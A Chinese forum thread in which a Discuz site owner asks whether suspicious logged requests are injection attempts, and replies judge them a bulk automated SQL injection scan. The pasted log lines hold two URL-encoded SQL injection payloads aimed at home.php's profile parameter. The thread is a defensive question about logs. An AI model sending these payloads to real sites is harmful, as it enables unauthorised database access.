dz被访问这些连接是有人在尝试注入吗?

370

在后台发现

/home.php?mod＝space&uid＝13&do＝profile%27%29%29%20AND%209413%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%289413%3D9413%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%2898%29%2BCHAR%28113%29%29%29%20AND%20%28%28%27qJJA%27%3D%27qJJA

/home.php?mod＝space&uid＝13&do＝profile%27%20AND%209413%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%289413%3D9413%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2

访问的ip都是127.0.0.1

笑花落半世琉璃

不懂dz 楼下大佬来

acpp

是的，但这种应该是批量扫描注入，否则就属于是dz 0day了啊。

姊姊

select都出来了